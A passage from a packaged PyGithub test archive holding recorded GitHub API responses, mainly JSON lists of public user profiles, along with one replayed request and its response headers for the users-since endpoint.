rl":"https://api.github.com/users/sprsquish/repos","events_url":"https://api.github.com/users/sprsquish/events{/privacy}","received_events_url":"https://api.github.com/users/sprsquish/received_events","type":"User"},{"login":"codahale","id":207,"avatar_url":"https://secure.gravatar.com/avatar/87206f3bf53d403e16ec023c56e904c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"87206f3bf53d403e16ec023c56e904c5","url":"https://api.github.com/users/codahale","html_url":"https://github.com/codahale","followers_url":"https://api.github.com/users/codahale/followers","following_url":"https://api.github.com/users/codahale/following{/other_user}","gists_url":"https://api.github.com/users/codahale/gists{/gist_id}","starred_url":"https://api.github.com/users/codahale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codahale/subscriptions","organizations_url":"https://api.github.com/users/codahale/orgs","repos_url":"https://api.github.com/users/codahale/repos","events_url":"https://api.github.com/users/codahale/events{/privacy}","received_events_url":"https://api.github.com/users/codahale/received_events","type":"User"},{"login":"zackchandler","id":208,"avatar_url":"https://secure.gravatar.com/avatar/9bd29b4df0b88fba09fb74743336fc1e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9bd29b4df0b88fba09fb74743336fc1e","url":"https://api.github.com/users/zackchandler","html_url":"https://github.com/zackchandler","followers_url":"https://api.github.com/users/zackchandler/followers","following_url":"https://api.github.com/users/zackchandler/following{/other_user}","gists_url":"https://api.github.com/users/zackchandler/gists{/gist_id}","starred_url":"https://api.github.com/users/zackchandler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zackchandler/subscriptions","organizations_url":"https://api.github.com/users/zackchandler/orgs","repos_url":"https://api.github.com/users/zackchandler/repos","events_url":"https://api.github.com/users/zackchandler/events{/privacy}","received_events_url":"https://api.github.com/users/zackchandler/received_events","type":"User"},{"login":"jakehow","id":209,"avatar_url":"https://secure.gravatar.com/avatar/2dc29dd55d41c04abb7979a43078e6b5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2dc29dd55d41c04abb7979a43078e6b5","url":"https://api.github.com/users/jakehow","html_url":"https://github.com/jakehow","followers_url":"https://api.github.com/users/jakehow/followers","following_url":"https://api.github.com/users/jakehow/following{/other_user}","gists_url":"https://api.github.com/users/jakehow/gists{/gist_id}","starred_url":"https://api.github.com/users/jakehow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jakehow/subscriptions","organizations_url":"https://api.github.com/users/jakehow/orgs","repos_url":"https://api.github.com/users/jakehow/repos","events_url":"https://api.github.com/users/jakehow/events{/privacy}","received_events_url":"https://api.github.com/users/jakehow/received_events","type":"User"},{"login":"evan","id":210,"avatar_url":"https://secure.gravatar.com/avatar/f8634aca904bc63cb047cb1bd93bdc74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f8634aca904bc63cb047cb1bd93bdc74","url":"https://api.github.com/users/evan","html_url":"https://github.com/evan","followers_url":"https://api.github.com/users/evan/followers","following_url":"https://api.github.com/users/evan/following{/other_user}","gists_url":"https://api.github.com/users/evan/gists{/gist_id}","starred_url":"https://api.github.com/users/evan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/evan/subscriptions","organizations_url":"https://api.github.com/users/evan/orgs","repos_url":"https://api.github.com/users/evan/repos","events_url":"https://api.github.com/users/evan/events{/privacy}","received_events_url":"https://api.github.com/users/evan/received_events","type":"User"},{"login":"olleolleolle","id":211,"avatar_url":"https://secure.gravatar.com/avatar/577ffaaa74822dddde97e39d72c5d953?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"577ffaaa74822dddde97e39d72c5d953","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User"},{"login":"chrismcg","id":212,"avatar_url":"https://secure.gravatar.com/avatar/0b1b1c3a746a2e346d8cae668b109b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0b1b1c3a746a2e346d8cae668b109b6e","url":"https://api.github.com/users/chrismcg","html_url":"https://github.com/chrismcg","followers_url":"https://api.github.com/users/chrismcg/followers","following_url":"https://api.github.com/users/chrismcg/following{/other_user}","gists_url":"https://api.github.com/users/chrismcg/gists{/gist_id}","starred_url":"https://api.github.com/users/chrismcg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrismcg/subscriptions","organizations_url":"https://api.github.com/users/chrismcg/orgs","repos_url":"https://api.github.com/users/chrismcg/repos","events_url":"https://api.github.com/users/chrismcg/events{/privacy}","received_events_url":"https://api.github.com/users/chrismcg/received_events","type":"User"},{"login":"chuyeow","id":213,"avatar_url":"https://secure.gravatar.com/avatar/00fd4ce27c06ba63e7ddca4c3d67e5ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"00fd4ce27c06ba63e7ddca4c3d67e5ea","url":"https://api.github.com/users/chuyeow","html_url":"https://github.com/chuyeow","followers_url":"https://api.github.com/users/chuyeow/followers","following_url":"https://api.github.com/users/chuyeow/following{/other_user}","gists_url":"https://api.github.com/users/chuyeow/gists{/gist_id}","starred_url":"https://api.github.com/users/chuyeow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chuyeow/subscriptions","organizations_url":"https://api.github.com/users/chuyeow/orgs","repos_url":"https://api.github.com/users/chuyeow/repos","events_url":"https://api.github.com/users/chuyeow/events{/privacy}","received_events_url":"https://api.github.com/users/chuyeow/received_events","type":"User"},{"login":"mloughran","id":214,"avatar_url":"https://secure.gravatar.com/avatar/46bcac797b7a0fb45555cf912d580202?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"46bcac797b7a0fb45555cf912d580202","url":"https://api.github.com/users/mloughran","html_url":"https://github.com/mloughran","followers_url":"https://api.github.com/users/mloughran/followers","following_url":"https://api.github.com/users/mloughran/following{/other_user}","gists_url":"https://api.github.com/users/mloughran/gists{/gist_id}","starred_url":"https://api.github.com/users/mloughran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mloughran/subscriptions","organizations_url":"https://api.github.com/users/mloughran/orgs","repos_url":"https://api.github.com/users/mloughran/repos","events_url":"https://api.github.com/users/mloughran/events{/privacy}","received_events_url":"https://api.github.com/users/mloughran/received_events","type":"User"},{"login":"matthewford","id":215,"avatar_url":"https://secure.gravatar.com/avatar/5238fd6b05bebf4fcc4d9863291ae6b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5238fd6b05bebf4fcc4d9863291ae6b4","url":"https://api.github.com/users/matthewford","html_url":"https://github.com/matthewford","followers_url":"https://api.github.com/users/matthewford/followers","following_url":"https://api.github.com/users/matthewford/following{/other_user}","gists_url":"https://api.github.com/users/matthewford/gists{/gist_id}","starred_url":"https://api.github.com/users/matthewford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/matthewford/subscriptions","organizations_url":"https://api.github.com/users/matthewford/orgs","repos_url":"https://api.github.com/users/matthewford/repos","events_url":"https://api.github.com/users/matthewford/events{/privacy}","received_events_url":"https://api.github.com/users/matthewford/received_events","type":"User"},{"login":"henrik","id":216,"avatar_url":"https://secure.gravatar.com/avatar/4a551074ddba4460f95d011c47190d0e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a551074ddba4460f95d011c47190d0e","url":"https://api.github.com/users/henrik","html_url":"https://github.com/henrik","followers_url":"https://api.github.com/users/henrik/followers","following_url":"https://api.github.com/users/henrik/following{/other_user}","gists_url":"https://api.github.com/users/henrik/gists{/gist_id}","starred_url":"https://api.github.com/users/henrik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/henrik/subscriptions","organizations_url":"https://api.github.com/users/henrik/orgs","repos_url":"https://api.github.com/users/henrik/repos","events_url":"https://api.github.com/users/henrik/events{/privacy}","received_events_url":"https://api.github.com/users/henrik/received_events","type":"User"},{"login":"entangledstate","id":217,"avatar_url":"https://secure.gravatar.com/avatar/5a571ddc5f6c3fe0da7d5bef6fe90379?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5a571ddc5f6c3fe0da7d5bef6fe90379","url":"https://api.github.com/users/entangledstate","html_url":"https://github.com/entangledstate","followers_url":"https://api.github.com/users/entangledstate/followers","following_url":"https://api.github.com/users/entangledstate/following{/other_user}","gists_url":"https://api.github.com/users/entangledstate/gists{/gist_id}","starred_url":"https://api.github.com/users/entangledstate/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/entangledstate/subscriptions","organizations_url":"https://api.github.com/users/entangledstate/orgs","repos_url":"https://api.github.com/users/entangledstate/repos","events_url":"https://api.github.com/users/entangledstate/events{/privacy}","received_events_url":"https://api.github.com/users/entangledstate/received_events","type":"User"},{"login":"acf","id":218,"avatar_url":"https://secure.gravatar.com/avatar/4daf0b71d5d9a3882e583c0e72eaf5dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4daf0b71d5d9a3882e583c0e72eaf5dc","url":"https://api.github.com/users/acf","html_url":"https://github.com/acf","followers_url":"https://api.github.com/users/acf/followers","following_url":"https://api.github.com/users/acf/following{/other_user}","gists_url":"https://api.github.com/users/acf/gists{/gist_id}","starred_url":"https://api.github.com/users/acf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/acf/subscriptions","organizations_url":"https://api.github.com/users/acf/orgs","repos_url":"https://api.github.com/users/acf/repos","events_url":"https://api.github.com/users/acf/events{/privacy}","received_events_url":"https://api.github.com/users/acf/received_events","type":"User"},{"login":"dan","id":219,"avatar_url":"https://secure.gravatar.com/avatar/ccac01cefa0352e0014a8de5b4efcdfd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ccac01cefa0352e0014a8de5b4efcdfd","url":"https://api.github.com/users/dan","html_url":"https://github.com/dan","followers_url":"https://api.github.com/users/dan/followers","following_url":"https://api.github.com/users/dan/following{/other_user}","gists_url":"https://api.github.com/users/dan/gists{/gist_id}","starred_url":"https://api.github.com/users/dan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dan/subscriptions","organizations_url":"https://api.github.com/users/dan/orgs","repos_url":"https://api.github.com/users/dan/repos","events_url":"https://api.github.com/users/dan/events{/privacy}","received_events_url":"https://api.github.com/users/dan/received_events","type":"User"},{"login":"seebq","id":220,"avatar_url":"https://secure.gravatar.com/avatar/9fbfc1f08cd2a8d73475c384b1882824?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9fbfc1f08cd2a8d73475c384b1882824","url":"https://api.github.com/users/seebq","html_url":"https://github.com/seebq","followers_url":"https://api.github.com/users/seebq/followers","following_url":"https://api.github.com/users/seebq/following{/other_user}","gists_url":"https://api.github.com/users/seebq/gists{/gist_id}","starred_url":"https://api.github.com/users/seebq/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seebq/subscriptions","organizations_url":"https://api.github.com/users/seebq/orgs","repos_url":"https://api.github.com/users/seebq/repos","events_url":"https://api.github.com/users/seebq/events{/privacy}","received_events_url":"https://api.github.com/users/seebq/received_events","type":"User"},{"login":"delynn","id":221,"avatar_url":"https://secure.gravatar.com/avatar/81279142caec7e29150fced7f916da62?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"81279142caec7e29150fced7f916da62","url":"https://api.github.com/users/delynn","html_url":"https://github.com/delynn","followers_url":"https://api.github.com/users/delynn/followers","following_url":"https://api.github.com/users/delynn/following{/other_user}","gists_url":"https://api.github.com/users/delynn/gists{/gist_id}","starred_url":"https://api.github.com/users/delynn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/delynn/subscriptions","organizations_url":"https://api.github.com/users/delynn/orgs","repos_url":"https://api.github.com/users/delynn/repos","events_url":"https://api.github.com/users/delynn/events{/privacy}","received_events_url":"https://api.github.com/users/delynn/received_events","type":"User"},{"login":"spicycode","id":222,"avatar_url":"https://secure.gravatar.com/avatar/7ce90d712fab09421b7f2cf955b9a4c8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7ce90d712fab09421b7f2cf955b9a4c8","url":"https://api.github.com/users/spicycode","html_url":"https://github.com/spicycode","followers_url":"https://api.github.com/users/spicycode/followers","following_url":"https://api.github.com/users/spicycode/following{/other_user}","gists_url":"https://api.github.com/users/spicycode/gists{/gist_id}","starred_url":"https://api.github.com/users/spicycode/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spicycode/subscriptions","organizations_url":"https://api.github.com/users/spicycode/orgs","repos_url":"https://api.github.com/users/spicycode/repos","events_url":"https://api.github.com/users/spicycode/events{/privacy}","received_events_url":"https://api.github.com/users/spicycode/received_events","type":"User"},{"login":"ntalbott","id":223,"avatar_url":"https://secure.gravatar.com/avatar/de4ad5b12586407fd72276710dc0fcb5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de4ad5b12586407fd72276710dc0fcb5","url":"https://api.github.com/users/ntalbott","html_url":"https://github.com/ntalbott","followers_url":"https://api.github.com/users/ntalbott/followers","following_url":"https://api.github.com/users/ntalbott/following{/other_user}","gists_url":"https://api.github.com/users/ntalbott/gists{/gist_id}","starred_url":"https://api.github.com/users/ntalbott/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ntalbott/subscriptions","organizations_url":"https://api.github.com/users/ntalbott/orgs","repos_url":"https://api.github.com/users/ntalbott/repos","events_url":"https://api.github.com/users/ntalbott/events{/privacy}","received_events_url":"https://api.github.com/users/ntalbott/received_events","type":"User"},{"login":"rdempsey","id":224,"avatar_url":"https://secure.gravatar.com/avatar/8234a5ea3e56fca09c5549ee5e23e3e1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8234a5ea3e56fca09c5549ee5e23e3e1","url":"https://api.github.com/users/rdempsey","html_url":"https://github.com/rdempsey","followers_url":"https://api.github.com/users/rdempsey/followers","following_url":"https://api.github.com/users/rdempsey/following{/other_user}","gists_url":"https://api.github.com/users/rdempsey/gists{/gist_id}","starred_url":"https://api.github.com/users/rdempsey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rdempsey/subscriptions","organizations_url":"https://api.github.com/users/rdempsey/orgs","repos_url":"https://api.github.com/users/rdempsey/repos","events_url":"https://api.github.com/users/rdempsey/events{/privacy}","received_events_url":"https://api.github.com/users/rdempsey/received_events","type":"User"},{"login":"mjankowski","id":225,"avatar_url":"https://secure.gravatar.com/avatar/e535b2456534fcea111ddd58375b7aa9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e535b2456534fcea111ddd58375b7aa9","url":"https://api.github.com/users/mjankowski","html_url":"https://github.com/mjankowski","followers_url":"https://api.github.com/users/mjankowski/followers","following_url":"https://api.github.com/users/mjankowski/following{/other_user}","gists_url":"https://api.github.com/users/mjankowski/gists{/gist_id}","starred_url":"https://api.github.com/users/mjankowski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mjankowski/subscriptions","organizations_url":"https://api.github.com/users/mjankowski/orgs","repos_url":"https://api.github.com/users/mjankowski/repos","events_url":"https://api.github.com/users/mjankowski/events{/privacy}","received_events_url":"https://api.github.com/users/mjankowski/received_events","type":"User"},{"login":"danahern","id":226,"avatar_url":"https://secure.gravatar.com/avatar/c5a551578630f77febda69e391cb2a36?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c5a551578630f77febda69e391cb2a36","url":"https://api.github.com/users/danahern","html_url":"https://github.com/danahern","followers_url":"https://api.github.com/users/danahern/followers","following_url":"https://api.github.com/users/danahern/following{/other_user}","gists_url":"https://api.github.com/users/danahern/gists{/gist_id}","starred_url":"https://api.github.com/users/danahern/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danahern/subscriptions","organizations_url":"https://api.github.com/users/danahern/orgs","repos_url":"https://api.github.com/users/danahern/repos","events_url":"https://api.github.com/users/danahern/events{/privacy}","received_events_url":"https://api.github.com/users/danahern/received_events","type":"User"},{"login":"dctanner","id":227,"avatar_url":"https://secure.gravatar.com/avatar/ef40b5b6a8593bb6a0360c0efe00f991?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ef40b5b6a8593bb6a0360c0efe00f991","url":"https://api.github.com/users/dctanner","html_url":"https://github.com/dctanner","followers_url":"https://api.github.com/users/dctanner/followers","following_url":"https://api.github.com/users/dctanner/following{/other_user}","gists_url":"https://api.github.com/users/dctanner/gists{/gist_id}","starred_url":"https://api.github.com/users/dctanner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dctanner/subscriptions","organizations_url":"https://api.github.com/users/dctanner/orgs","repos_url":"https://api.github.com/users/dctanner/repos","events_url":"https://api.github.com/users/dctanner/events{/privacy}","received_events_url":"https://api.github.com/users/dctanner/received_events","type":"User"},{"login":"alexvollmer","id":228,"avatar_url":"https://secure.gravatar.com/avatar/0bcaed12375a062b25777bf528cc1539?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0bcaed12375a062b25777bf528cc1539","url":"https://api.github.com/users/alexvollmer","html_url":"https://github.com/alexvollmer","followers_url":"https://api.github.com/users/alexvollmer/followers","following_url":"https://api.github.com/users/alexvollmer/following{/other_user}","gists_url":"https://api.github.com/users/alexvollmer/gists{/gist_id}","starred_url":"https://api.github.com/users/alexvollmer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alexvollmer/subscriptions","organizations_url":"https://api.github.com/users/alexvollmer/orgs","repos_url":"https://api.github.com/users/alexvollmer/repos","events_url":"https://api.github.com/users/alexvollmer/events{/privacy}","received_events_url":"https://api.github.com/users/alexvollmer/received_events","type":"User"},{"login":"RailsAddict","id":229,"avatar_url":"https://secure.gravatar.com/avatar/867657059fc852575d685dc1292f77a0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"867657059fc852575d685dc1292f77a0","url":"https://api.github.com/users/RailsAddict","html_url":"https://github.com/RailsAddict","followers_url":"https://api.github.com/users/RailsAddict/followers","following_url":"https://api.github.com/users/RailsAddict/following{/other_user}","gists_url":"https://api.github.com/users/RailsAddict/gists{/gist_id}","starred_url":"https://api.github.com/users/RailsAddict/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RailsAddict/subscriptions","organizations_url":"https://api.github.com/users/RailsAddict/orgs","repos_url":"https://api.github.com/users/RailsAddict/repos","events_url":"https://api.github.com/users/RailsAddict/events{/privacy}","received_events_url":"https://api.github.com/users/RailsAddict/received_events","type":"User"},{"login":"scharfie","id":230,"avatar_url":"https://secure.gravatar.com/avatar/828dc634f7493008dbc96c437e54ea2f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"828dc634f7493008dbc96c437e54ea2f","url":"https://api.github.com/users/scharfie","html_url":"https://github.com/scharfie","followers_url":"https://api.github.com/users/scharfie/followers","following_url":"https://api.github.com/users/scharfie/following{/other_user}","gists_url":"https://api.github.com/users/scharfie/gists{/gist_id}","starred_url":"https://api.github.com/users/scharfie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scharfie/subscriptions","organizations_url":"https://api.github.com/users/scharfie/orgs","repos_url":"https://api.github.com/users/scharfie/repos","events_url":"https://api.github.com/users/scharfie/events{/privacy}","received_events_url":"https://api.github.com/users/scharfie/received_events","type":"User"},{"login":"jhardy-deleteme","id":231,"avatar_url":"https://secure.gravatar.com/avatar/3c3ae4f2a02a1d48755eceb2b291dcfd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3c3ae4f2a02a1d48755eceb2b291dcfd","url":"https://api.github.com/users/jhardy-deleteme","html_url":"https://github.com/jhardy-deleteme","followers_url":"https://api.github.com/users/jhardy-deleteme/followers","following_url":"https://api.github.com/users/jhardy-deleteme/following{/other_user}","gists_url":"https://api.github.com/users/jhardy-deleteme/gists{/gist_id}","starred_url":"https://api.github.com/users/jhardy-deleteme/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhardy-deleteme/subscriptions","organizations_url":"https://api.github.com/users/jhardy-deleteme/orgs","repos_url":"https://api.github.com/users/jhardy-deleteme/repos","events_url":"https://api.github.com/users/jhardy-deleteme/events{/privacy}","received_events_url":"https://api.github.com/users/jhardy-deleteme/received_events","type":"User"},{"login":"daikini","id":232,"avatar_url":"https://secure.gravatar.com/avatar/d1e098b7194f0948f4efe23e8ba404ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d1e098b7194f0948f4efe23e8ba404ba","url":"https://api.github.com/users/daikini","html_url":"https://github.com/daikini","followers_url":"https://api.github.com/users/daikini/followers","following_url":"https://api.github.com/users/daikini/following{/other_user}","gists_url":"https://api.github.com/users/daikini/gists{/gist_id}","starred_url":"https://api.github.com/users/daikini/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/daikini/subscriptions","organizations_url":"https://api.github.com/users/daikini/orgs","repos_url":"https://api.github.com/users/daikini/repos","events_url":"https://api.github.com/users/daikini/events{/privacy}","received_events_url":"https://api.github.com/users/daikini/received_events","type":"User"},{"login":"tdreyno","id":233,"avatar_url":"https://secure.gravatar.com/avatar/291394b477c2824bf5d75b831f125304?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"291394b477c2824bf5d75b831f125304","url":"https://api.github.com/users/tdreyno","html_url":"https://github.com/tdreyno","followers_url":"https://api.github.com/users/tdreyno/followers","following_url":"https://api.github.com/users/tdreyno/following{/other_user}","gists_url":"https://api.github.com/users/tdreyno/gists{/gist_id}","starred_url":"https://api.github.com/users/tdreyno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tdreyno/subscriptions","organizations_url":"https://api.github.com/users/tdreyno/orgs","repos_url":"https://api.github.com/users/tdreyno/repos","events_url":"https://api.github.com/users/tdreyno/events{/privacy}","received_events_url":"https://api.github.com/users/tdreyno/received_events","type":"User"},{"login":"mysmallidea","id":234,"avatar_url":"https://secure.gravatar.com/avatar/e53d645e050e733280ee67c8e408042a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e53d645e050e733280ee67c8e408042a","url":"https://api.github.com/users/mysmallidea","html_url":"https://github.com/mysmallidea","followers_url":"https://api.github.com/users/mysmallidea/followers","following_url":"https://api.github.com/users/mysmallidea/following{/other_user}","gists_url":"https://api.github.com/users/mysmallidea/gists{/gist_id}","starred_url":"https://api.github.com/users/mysmallidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mysmallidea/subscriptions","organizations_url":"https://api.github.com/users/mysmallidea/orgs","repos_url":"https://api.github.com/users/mysmallidea/repos","events_url":"https://api.github.com/users/mysmallidea/events{/privacy}","received_events_url":"https://api.github.com/users/mysmallidea/received_events","type":"User"},{"login":"jnunemaker","id":235,"avatar_url":"https://secure.gravatar.com/avatar/3783e88128f2773aa70a8f925d5f795d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3783e88128f2773aa70a8f925d5f795d","url":"https://api.github.com/users/jnunemaker","html_url":"https://github.com/jnunemaker","followers_url":"https://api.github.com/users/jnunemaker/followers","following_url":"https://api.github.com/users/jnunemaker/following{/other_user}","gists_url":"https://api.github.com/users/jnunemaker/gists{/gist_id}","starred_url":"https://api.github.com/users/jnunemaker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnunemaker/subscriptions","organizations_url":"https://api.github.com/users/jnunemaker/orgs","repos_url":"https://api.github.com/users/jnunemaker/repos","events_url":"https://api.github.com/users/jnunemaker/events{/privacy}","received_events_url":"https://api.github.com/users/jnunemaker/received_events","type":"User"},{"login":"shayarnett","id":236,"avatar_url":"https://secure.gravatar.com/avatar/bc56e3ab1109d0ac3322d9cdea2bd52c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bc56e3ab1109d0ac3322d9cdea2bd52c","url":"https://api.github.com/users/shayarnett","html_url":"https://github.com/shayarnett","followers_url":"https://api.github.com/users/shayarnett/followers","following_url":"https://api.github.com/users/shayarnett/following{/other_user}","gists_url":"https://api.github.com/users/shayarnett/gists{/gist_id}","starred_url":"https://api.github.com/users/shayarnett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shayarnett/subscriptions","organizations_url":"https://api.github.com/users/shayarnett/orgs","repos_url":"https://api.github.com/users/shayarnett/repos","events_url":"https://api.github.com/users/shayarnett/events{/privacy}","received_events_url":"https://api.github.com/users/shayarnett/received_events","type":"User"},{"login":"chad","id":237,"avatar_url":"https://secure.gravatar.com/avatar/77f306388bb6ae00ac0b0401e27cdc99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","url":"https://api.github.com/users/chad","html_url":"https://github.com/chad","followers_url":"https://api.github.com/users/chad/followers","following_url":"https://api.github.com/users/chad/following{/other_user}","gists_url":"https://api.github.com/users/chad/gists{/gist_id}","starred_url":"https://api.github.com/users/chad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chad/subscriptions","organizations_url":"https://api.github.com/users/chad/orgs","repos_url":"https://api.github.com/users/chad/repos","events_url":"https://api.github.com/users/chad/events{/privacy}","received_events_url":"https://api.github.com/users/chad/received_events","type":"User"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetUsersSince.txt0000644000175100001660000030177614756101563023601 0ustar00runnerdockerhttps GET api.github.com None /users?since=1000 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '98348'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"cca5d88559ccabed801c053558444403"'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 18 Jun 2013 15:43:12 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"login":"sbecker","id":1001,"avatar_url":"https://secure.gravatar.com/avatar/981b75f949c81efad3bc4b3c4ea88332?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"981b75f949c81efad3bc4b3c4ea88332","url":"https://api.github.com/users/sbecker","html_url":"https://github.com/sbecker","followers_url":"https://api.github.com/users/sbecker/followers","following_url":"https://api.github.com/users/sbecker/following{/other_user}","gists_url":"https://api.github.com/users/sbecker/gists{/gist_id}","starred_url":"https://api.github.com/users/sbecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbecker/subscriptions","organizations_url":"https://api.github.com/users/sbecker/orgs","repos_url":"https://api.github.com/users/sbecker/repos","events_url":"https://api.github.com/users/sbecker/events{/privacy}","received_events_url":"https://api.github.com/users/sbecker/received_events","type":"User"},{"login":"aharper","id":1002,"avatar_url":"https://secure.gravatar.com/avatar/d41d8cd98f00b204e9800998ecf8427e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d41d8cd98f00b204e9800998ecf8427e","url":"https://api.github.com/users/aharper","html_url":"https://github.com/aharper","followers_url":"https://api.github.com/users/aharper/followers","following_url":"https://api.github.com/users/aharper/following{/other_user}","gists_url":"https://api.github.com/users/aharper/gists{/gist_id}","starred_url":"https://api.github.com/users/aharper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aharper/subscriptions","organizations_url":"https://api.github.com/users/aharper/orgs","repos_url":"https://api.github.com/users/aharper/repos","events_url":"https://api.github.com/users/aharper/events{/privacy}","received_events_url":"https://api.github.com/users/aharper/received_events","type":"User"},{"login":"stocad","id